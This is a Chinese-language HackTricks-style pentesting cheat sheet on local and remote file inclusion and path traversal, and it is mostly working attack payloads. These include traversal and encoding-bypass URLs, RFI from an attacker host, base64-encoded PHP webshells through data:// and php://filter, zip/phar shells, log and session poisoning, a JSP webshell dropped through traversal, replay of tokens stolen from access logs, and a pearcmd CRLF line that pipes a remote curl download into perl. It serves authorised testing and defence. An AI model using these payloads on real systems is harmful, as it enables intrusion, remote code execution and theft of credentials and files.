File Inclusion/Path traversal

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

File Inclusion

Remote File Inclusion (RFI): 文件从远程服务器加载(最好的情况:你可以写入代码并由服务器执行)。在 php 中默认禁用allow_url_include)。
Local File Inclusion (LFI): 服务器加载本地文件。

当用户在某种程度上能够控制服务器将要加载的文件时,就会出现该漏洞。

易受攻击的 PHP functions: require, require_once, include, include_once

一个用于利用该漏洞的有趣工具: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

将多个 *nix LFI 列表混合并添加更多路径后,我创建了这个:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

也试着将 / 改为 \
也试着添加 ../../../../../

一个使用多种技术查找文件 /etc/password(用于检查漏洞是否存在)的列表可以在 here 找到

Windows

合并不同的 wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

也试着将 / 改为 \
也试着移除 C:/ 并添加 ../../../../../

一个使用多种技术查找文件 /boot.ini(用于检查漏洞是否存在)的列表可以在 here 找到

OS X

查看 linux 的 LFI 列表。

基本 LFI 与绕过

所有示例都针对 Local File Inclusion,但也可应用于 Remote File Inclusion(page=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。

http://example.com/index.php?page=../../../etc/passwd

traversal sequences 非递归剥离

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass 用于绕过在提供的字符串末尾追加额外字符(bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

此问题 自 PHP 5.4 起已解决

编码

你可以使用非标准编码,比如 double URL encode(以及其他):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

现代的 HTML-to-PDF 引擎(例如 TCPDF 或像 html2pdf 这样的封装器)会直接解析攻击者提供的 HTML、SVG、CSS 和字体 URLs,但它们在具有文件系统访问权限的受信任后端网络中运行。一旦你能向 $pdf->writeHTML()/Html2Pdf::writeHTML() 注入 HTML,通常可以 exfiltrate web 服务器账户可读的本地文件。

  • Fingerprint the renderer: 每个生成的 PDF 都包含一个 Producer 字段(例如 TCPDF 6.8.2)。确切的 build 能告诉你哪些路径过滤存在,以及 URL decoding 是否在验证前发生。
  • Inline SVG payloads: TCPDF::startSVGElementHandler() reads the xlink:href attribute from <image> elements before running urldecode(). 把恶意 SVG 嵌入到 data URI 中会让许多 HTML sanitizers 忽略该 payload,而 TCPDF 仍会解析它:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF 将 $_SERVER['DOCUMENT_ROOT'] 预置到以 / 开头的路径前,并且只在之后解析 ..,因此在预置后要通过使用前导的 ../../.. 段或 /../../.. 来逃出根目录。

  • Encoding to bypass naive filters: Versions ≤6.8.2 仅在对 URL 进行解码之前检查字面子串 ../。在 SVG 或原始 <img src> 属性中发送 ..%2f(或 ..%2F)可以绕过检查,因为当 TCPDF 调用 urldecode() 后,遍历的点点斜杠序列才被重新生成。
  • Double-encoding for multi-stage decoding: 如果用户输入先被 web 框架解码,随后又被 TCPDF 解码,就对斜杠进行双重编码(%252f)。一次解码会变成 %2f,TCPDF 的第二次解码会变成 /,从而生成 /..%252f../../../../…,整个过程中早期过滤器从未看到 ../
  • HTML <img> handler: TCPDF::openHTMLTagHandler() 包含相同的步骤顺序缺陷,允许直接的 HTML payload,例如 src="%2f..%252f..%252ftmp%252fsecret.png",以读取任何本地可达的 bitmap。

该技术会 leaks PDF worker 可读取的任何内容(护照扫描、以图像形式呈现的 API keys 等)。Hardeners 在 6.9.1 通过规范化路径(isRelativePath())修复了此问题,因此测试时优先使用较旧的 Producer 版本。

从现有文件夹

也许后端正在检查文件夹路径:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

在服务器上探索文件系统目录

可以通过某些技术递归地探索服务器的文件系统,不仅识别文件,也识别目录。该过程包括确定目录深度并探测特定文件夹是否存在。下面是实现此目的的详细方法:

  1. 确定目录深度: 通过成功获取 /etc/passwd 文件来确定当前目录的深度(如果服务器为 Linux)。下面是一个示例 URL,表示深度为三:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: 将可疑文件夹的名称(例如,private)追加到 URL,然后导航回 /etc/passwd。额外的目录层级需要将深度增加一层:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 解释结果: 服务器的响应表明该文件夹是否存在:
  • 错误 / 无输出: 指定位置可能不存在 private 文件夹。
  • /etc/passwd 的内容: 确认存在 private 文件夹。
  1. 递归探索: 发现的文件夹可以用相同技术或传统的 Local File Inclusion (LFI) 方法进一步探测其子目录或文件。

要在文件系统的不同位置探索目录,请相应调整 payload。例如,要检查 /var/www/ 是否包含 private 目录(假设当前目录深度为 3),使用:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation 是一种用于操控 web 应用中文件路径的方法。它通常用于通过绕过那些在文件路径末尾追加额外字符的安全措施来访问受限文件。目标是构造一个文件路径,使其在被安全措施修改后仍然指向所需的文件。

在 PHP 中,由于文件系统的特性,文件路径的多种表示形式可以被视为等价。例如:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ 都被视为相同的路径。
  • 当最后 6 个字符是 passwd 时,追加一个 /(变成 passwd/)不会改变目标文件。
  • 同样,如果文件路径末尾有 .php(例如 shellcode.php),在末尾加上 /. 也不会改变被访问的文件。

下面的示例演示如何利用 path truncation 来访问 /etc/passwd,该文件常被作为目标,因为它包含敏感内容(用户账户信息):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

在这些场景中,所需的遍历次数可能约为 2027,但该数字会根据服务器的配置而变化。

  • Using Dot Segments and Additional Characters: Traversal sequences (../) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
  • Determining the Required Number of Traversals: Through trial and error, one can find the precise number of ../ sequences needed to navigate to the root directory and then to /etc/passwd, ensuring that any appended strings (like .php) are neutralized but the desired path (/etc/passwd) remains intact.
  • Starting with a Fake Directory: It’s a common practice to begin the path with a non-existent directory (like a/). This technique is used as a precautionary measure or to fulfill the requirements of the server’s path parsing logic.

在使用路径截断技术时,必须了解服务器的路径解析行为和文件系统结构。每个场景可能需要不同的方法,通常需要通过测试来找到最有效的手段。

此漏洞已在 PHP 5.3 中修复。

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

在 php 中默认情况下此功能被禁用,因为 allow_url_includeOff. 必须设为 On 才能生效,在那种情况下你可以从你的服务器包含一个 PHP 文件并获得 RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

如果出于某种原因 allow_url_includeOn,但 PHP 正在过滤对外部网页的访问,according to this post,你可以例如使用 data 协议配合 base64 来解码 b64 PHP 代码并 egt RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

暴露的 .git 仓库(源码泄露)

如果 Web 服务器暴露了 /.git/,攻击者通常可以重建整个仓库(包括提交历史)并在离线环境中审计应用程序。这通常会暴露隐藏的端点、敏感凭据、SQL 查询以及仅限管理员的功能。

快速检查:

curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config

使用 git-dumper 导出仓库:

uv tool install git-dumper
git-dumper http://TARGET/.git/ out/

然后恢复工作树:

cd out
git checkout .

Tip

在前面的代码中,最后的 +.txt 被添加是因为攻击者需要一个以 .txt 结尾的字符串,所以字符串以它结尾,并且在 b64 decode 之后那部分会返回垃圾,而真正的 PHP 代码会被包含(因此被执行)。

Another example not using the php:// protocol would be:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python 根元素

在 Python 中,像下面这样的代码:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

如果用户将一个 绝对路径 传给 file_name,则 先前的路径会被移除

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

根据 the docs

如果某个组件是绝对路径,则会丢弃之前的所有组件,并从该绝对路径组件继续进行连接。

Java 列出目录

看起来,如果在 Java 中存在 Path Traversal,并且你 请求的是目录 而不是文件,会返回该目录的列表。据我所知,这在其他语言中不会发生。

前25个参数

下面是可能易受 local file inclusion (LFI) 漏洞影响的前25个参数(来自 link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filters 允许在被读取或写入之前对数据执行基本的 对数据的修改操作。有 5 类过滤器:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: 从数据中移除标签(位于 “<” 和 “>” 字符之间的所有内容)
  • 注意此过滤器已在现代版本的 PHP 中移除
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : 转换为不同的编码(convert.iconv.<input_enc>.<output_enc>)。要获取 所有支持的编码列表,在控制台运行:iconv -l

Warning

滥用 convert.iconv.* 转换过滤器可以 生成任意文本,这可能有助于写入任意文本或使像 include 这样的函数处理任意文本。更多信息请参见 LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: 压缩内容(在大量外传信息时有用)
  • zlib.inflate: 解压数据
  • Encryption Filters
  • mcrypt.* : 已弃用
  • mdecrypt.* : 已弃用
  • Other Filters
  • 在 PHP 中运行 var_dump(stream_get_filters()); 可以找到一些 意外的过滤器
  • consumed
  • dechunk: 反转 HTTP chunked 编码
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

“php://filter” 部分大小写不敏感

使用 php filters 作为 oracle 读取任意文件

In this post 提出了一种技术,可以在服务器不返回输出的情况下读取本地文件。该技术基于使用 php filters 作为 oracle 的 boolean exfiltration(逐字符)。这是因为 php filters 可以将文本放大到足以让 php 抛出异常。

在原文中可以找到对该技术的详细解释,但这里是一个简要总结:

  • 使用 codec UCS-4LE 将文本的首字符置于开头并使字符串大小呈指数增长。
  • 这将用于生成一个在首字母被正确猜到时足够大的文本,从而触发 php 的错误
  • dechunk 过滤器会在首字符不是十六进制时删除所有内容,因此我们可以判断首字符是否为 hex。
  • 这与前者结合(以及根据猜测字母使用的其他 filters)可以让我们通过观察何时进行足够的转换使其不再是十六进制字符来猜测文本的首字母。因为如果是 hex,dechunk 不会删除它,初始的放大就会触发 php 报错。
  • codec convert.iconv.UNICODE.CP930 会将每个字母转换为下一个字母(例如 a -> b)。这使我们能够判断首字母是否为 a:例如如果连续应用 6 次该 codec,使 a->b->c->d->e->f->g,则该字母不再是十六进制字符,因此 dechunk 不会删除它,且由于与初始放大器相乘会触发 php 报错。
  • 在开始使用 rot13 等其他转换可以 leak 诸如 n, o, p, q, r 等字符(也可以使用其他 codecs 将其他字母移动到 hex 范围)。
  • 当首字符是数字时,需要对其进行 base64 编码并 leak 前两个字母来泄露该数字。
  • 最终的问题是如何leak 超过首字母。通过使用 order memory filters(如 convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE)可以改变字符顺序,将文本的其他字母移到首位。
  • 为了能够获取更多数据,思路是使用 convert.iconv.UTF16.UTF16 在开头生成 2 个字节的垃圾数据,应用 UCS-4LE 使其与接下来的 2 个字节发生 pivot,然后 delete the data until the junk data(这将移除初始文本的前两个字节)。重复该过程直到到达想要 leak 的位置。

文章中还 leak 了一个用于自动化执行的工具: php_filters_chain_oracle_exploit

php://fd

这个 wrapper 允许访问进程已打开的 file descriptors。可能有助于 exfiltrate 已打开文件的内容:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

你也可以使用 php://stdin, php://stdout and php://stderr 来访问 文件描述符 0、1 和 2(不确定这在攻击中如何有用)

zip:// and rar://

上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它。
为了能够滥用 rar protocol,必须专门启用

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

请注意,该协议受 php 配置 allow_url_openallow_url_include 的限制

expect://

Expect 必须启用。你可以使用此方式执行代码:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

在 POST 参数中指定你的 payload:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

当 Web 应用利用诸如 include 等函数进行文件加载时,.phar 文件可以被用来执行 PHP 代码。下面的 PHP 代码片段演示了创建一个 .phar 文件:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

要编译 .phar 文件,应执行以下命令:

php --define phar.readonly=0 create_path.php

执行后,将创建一个名为 test.phar 的文件,可能被用于利用 Local File Inclusion (LFI) 漏洞。

在 LFI 仅执行文件读取而不执行其中 PHP 代码的情况下,例如通过 file_get_contents()fopen()file()file_exists()md5_file()filemtime()filesize() 等函数,可以尝试利用反序列化漏洞。该漏洞与使用 phar 协议读取文件有关。

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
非常简短的总结:在 PHP 堆中滥用一个 3 byte overflow改变特定大小的 free chunks 链,从而能够 在任意地址写入任意内容,并添加了一个钩子来调用 system
可以通过滥用更多 php filters 来分配特定大小的 chunks。

More protocols

查看更多可能的 protocols to include here

  • php://memory and php://temp — 在内存或临时文件中写入(不确定在 file inclusion attack 中如何有用)
  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) URLs
  • ftp:// — 访问 FTP(s) URLs
  • zlib:// — 压缩流
  • glob:// — 查找匹配模式的路径名(它不返回可打印内容,所以这里不太有用)
  • ssh2:// — Secure Shell 2
  • ogg:// — 音频流(不适用于读取任意文件)

LFI via PHP’s ‘assert’

Local File Inclusion (LFI) 在处理 PHP 的 assert 函数时风险尤其高,assert 可以执行字符串内的代码。如果对包含类似 “..” 的目录穿越字符的输入进行了检查但未正确消毒,就会特别成问题。

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

虽然这旨在阻止 traversal,但它无意中创建了一个用于 code injection 的向量。为了利用这一点读取文件内容,攻击者可以使用:

' and die(highlight_file('/etc/passwd')) or '

类似地,为了执行任意系统命令,可以使用:

' and die(system("id")) or '

重要的是要 URL-encode these payloads

PHP Blind Path Traversal

Warning

当你可以control一个file path,且该路径被一个将access a filePHP function使用,但你不会看到文件内容(例如简单调用 file())时,此技术就相关。

In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

简而言之,该技术使用 “UCS-4LE” encoding 将文件内容放大到非常big,以至于负责打开该文件的PHP function opening会触发一个error

之后,为了 leak the first char,会使用 filter dechunk 以及 base64rot13 等,最后使用 filters convert.iconv.UCS-4.UCS-4LEconvert.iconv.UTF16.UTF-16BEplace other chars at the beggining and leak them

可能易受影响的函数: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

有关技术细节请查看上面提到的文章!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

当服务器端代码在处理/上传文件时使用用户可控的数据(例如 filename 或 URL)来构建目标路径,且没有进行规范化和校验,.. 段和绝对路径就可能突破预期目录并导致任意文件写入。如果你能把 payload 放到一个对 web 可见的目录下,通常可以通过放置 webshell 获得未认证的 RCE。

Typical exploitation workflow:

  • 识别在某个 endpoint 或后台 worker 中的写入原语,该原语接受 path/filename 并将内容写入磁盘(例如基于消息的摄取、XML/JSON 命令处理器、ZIP 解压器等)。
  • 确定对 web 暴露的目录。常见示例:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • 构造一个 traversal 路径,将目标存储目录突破到 webroot,并包含你的 webshell 内容。
  • 访问被放置的 payload 并执行命令。

注意:

  • 执行写入的易受攻击服务可能监听在非 HTTP 端口(例如在 TCP 4004 上的 JMF XML listener)。主 web 门户(不同端口)之后会提供你的 payload。
  • 在 Java 堆栈上,这些文件写入通常通过简单的 File/Paths 拼接实现。缺乏 canonicalisation/allow-listing 是核心缺陷。

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

能防止这类漏洞的加固措施:

  • 解析为规范路径,并强制其为允许白名单基目录的子路径。
  • 拒绝包含 ..、绝对根路径或驱动器盘符的任何路径;优先使用生成的文件名。
  • 以低权限账号运行写入进程,并将写入目录与对外提供的根目录隔离。

Remote File Inclusion

前面已解释, follow this link.

Via Apache/Nginx log file

如果 Apache 或 Nginx 服务器在 include 函数中易受 LFI 攻击,你可以尝试访问 /var/log/apache2/access.log or /var/log/nginx/access.log,在 user agentGET parameter 中写入一个 php shell like <?php system($_GET['c']); ?> 并 include 该文件

Warning

注意:如果你为 shell 使用的是双引号而不是单引号,双引号会被修改为字符串 “quote;”,PHP 会在那儿抛出错误,并且不会执行其他任何东西

此外,确保你正确写入 payload,否则每次尝试加载日志文件时 PHP 都会报错,你将不会有第二次机会。

这也可以在其它日志中完成,但**要小心,**日志内的代码可能被 URL encoded(URL 编码),这可能会破坏 Shell。请求头 authorisation “basic” 包含 Base64 编码的 “user:password”,并且在日志中会被解码。PHPShell 可以插入到该头中。
其他可能的日志路径:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

读取访问日志以收集基于 GET 的 auth tokens (token replay)

许多应用错误地通过 GET 接受 session/auth tokens(例如 AuthenticationToken、token、sid)。如果你有一个 path traversal/LFI 原语可以读取 web 服务器的访问日志,你可以从访问日志中窃取这些 tokens 并重放它们,从而完全绕过认证。

How-to:

  • 使用 traversal/LFI 读取 web 服务器访问日志。常见位置:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • 某些端点会以 Base64 编码返回文件内容。如果是这样,请在本地解码并检查日志行。
  • 使用 Grep 查找包含 token 参数的 GET 请求并提取其值,然后将其重放到应用的入口点。

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

如果消息体是 Base64,请对其解码,然后重放已捕获的 token:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

注意:

  • Tokens 出现在 URL 中会被默认记录;在生产环境中切勿通过 GET 接受 bearer tokens。
  • 如果应用支持多种 token 名称,搜索常见键,比如 AuthenticationToken、token、sid、access_token。
  • 轮换任何可能已 leaked 到日志的 tokens。

Via Email

Send a mail 到 一个内部账户 (user@localhost) ,邮件中包含你的 PHP payload,比如 <?php echo system($_REQUEST["cmd"]); ?>,并尝试去 include 用户的邮件,路径类似 /var/mail/<USERNAME>/var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. 上传大量 shells(例如:100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD,其中 $PID = 进程的 PID(可以 brute force),$FD 为文件描述符(也可以 brute force)

Via /proc/self/environ

像日志文件一样,在 User-Agent 里发送 payload,它会反射到 /proc/self/environ 文件中

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

通过 upload

如果你能 upload 一个文件,只需在其中注入 shell payload(例如:<?php system($_GET['c']); ?>)。

http://example.com/index.php?page=path/to/uploaded/file.png

为了保持文件可读,最好将其注入到图片/文档/pdf 的元数据中

通过 Zip 文件上传

上传一个包含已压缩 PHP shell 的 ZIP 文件,然后访问:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

通过 PHP sessions

检查网站是否使用 PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

在 PHP 中,这些 sessions 被存储在 /var/lib/php5/sess\[PHPSESSID]_ 文件中

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

将 cookie 设置为 <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

使用 LFI 包含 PHP session 文件

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

通过 ssh

如果 ssh 可用,检查正在使用的用户 (/proc/self/status & /etc/passwd) 并尝试访问 <HOME>/.ssh/id_rsa

通过 vsftpd 日志

FTP 服务 vsftpd 的日志位于 /var/log/vsftpd.log。如果存在 Local File Inclusion (LFI) 漏洞,且可以访问暴露的 vsftpd 服务器,可以考虑以下步骤:

  1. 在登录过程中向 username 字段注入 PHP payload。
  2. 注入后,利用 LFI 从 /var/log/vsftpd.log 检索服务器日志。

通过 php base64 过滤器 (using base64)

this 文章所示,PHP base64 过滤器会忽略非 base64 字符。你可以利用这一点绕过文件扩展名检查:如果你提供以 “.php” 结尾的 base64,过滤器会忽略 “.” 并将 “php” 追加到 base64 中。下面是一个示例 payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

通过 php filters(不需要文件)

这个 writeup 解释了你可以使用 php filters 来生成任意内容 作为输出。基本上这意味着你可以为 include 生成任意 php 代码,而 无需把它写入文件

LFI2RCE via PHP Filters

通过 segmentation fault

上传一个会被临时存放在 /tmp 的文件,然后在同一请求中触发一个 segmentation fault,这样临时文件就不会被删除,你可以搜索到它。

LFI2RCE via Segmentation Fault

通过 Nginx 临时文件存储

如果你发现了 Local File Inclusion 并且 Nginx 在 PHP 前面运行,你可能可以通过以下技巧获得 RCE:

LFI2RCE via Nginx temp files

通过 PHP_SESSION_UPLOAD_PROGRESS

如果你发现了 Local File Inclusion,即使你没有 session 且 session.auto_startOff。如果你在 multipart POST 数据中提供 PHP_SESSION_UPLOAD_PROGRESS,PHP 会为你启用 session。你可以利用这一点来获取 RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

通过 Windows 的临时文件上传

如果你发现了 Local File Inclusion,且服务器运行在 Windows,你可能会获得 RCE:

LFI2RCE Via temp file uploads

通过 pearcmd.php + URL args

As explained in this post, 脚本 /usr/local/lib/phppearcmd.php 在 php docker images 中默认存在。此外,可以通过 URL 向该脚本传递参数,因为如果一个 URL 参数没有 =,它应被用作一个参数。另见 watchTowr’s write-upOrange Tsai’s “Confusion Attacks”

下面的请求会在 /tmp/hello.php 中创建一个内容为 <?=phpinfo()?> 的文件:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

下面利用一个 CRLF vuln 来获取 RCE(来自 here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

通过 phpinfo() (file_uploads = on)

如果你发现了 Local File Inclusion 并且有一个暴露 phpinfo() 且 file_uploads = on 的文件,你可以获得 RCE:

LFI2RCE via phpinfo()

通过 compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

如果你发现了 Local File Inclusion 并且你 可以 exfiltrate the path 临时文件,但 server 正在 checking 要包含的文件是否有 PHP 标记,你可以尝试用这个 Race Conditionbypass that check

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

通过 eternal waiting + bruteforce

如果你能滥用 LFI 来 upload temporary files 并使 server 使 PHP 执行 hang,你就可以在数小时内 brute force filenames 来找到临时文件:

LFI2RCE via Eternal waiting

导致 Fatal Error

如果你包含任何以下文件 /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar。(你需要包含同一个文件 2 次来触发该错误)。

我不知道这有什么用,但可能有用。
即使你导致了 PHP Fatal Error,已上传的 PHP 临时文件也会被删除。

保留来自客户端的遍历序列

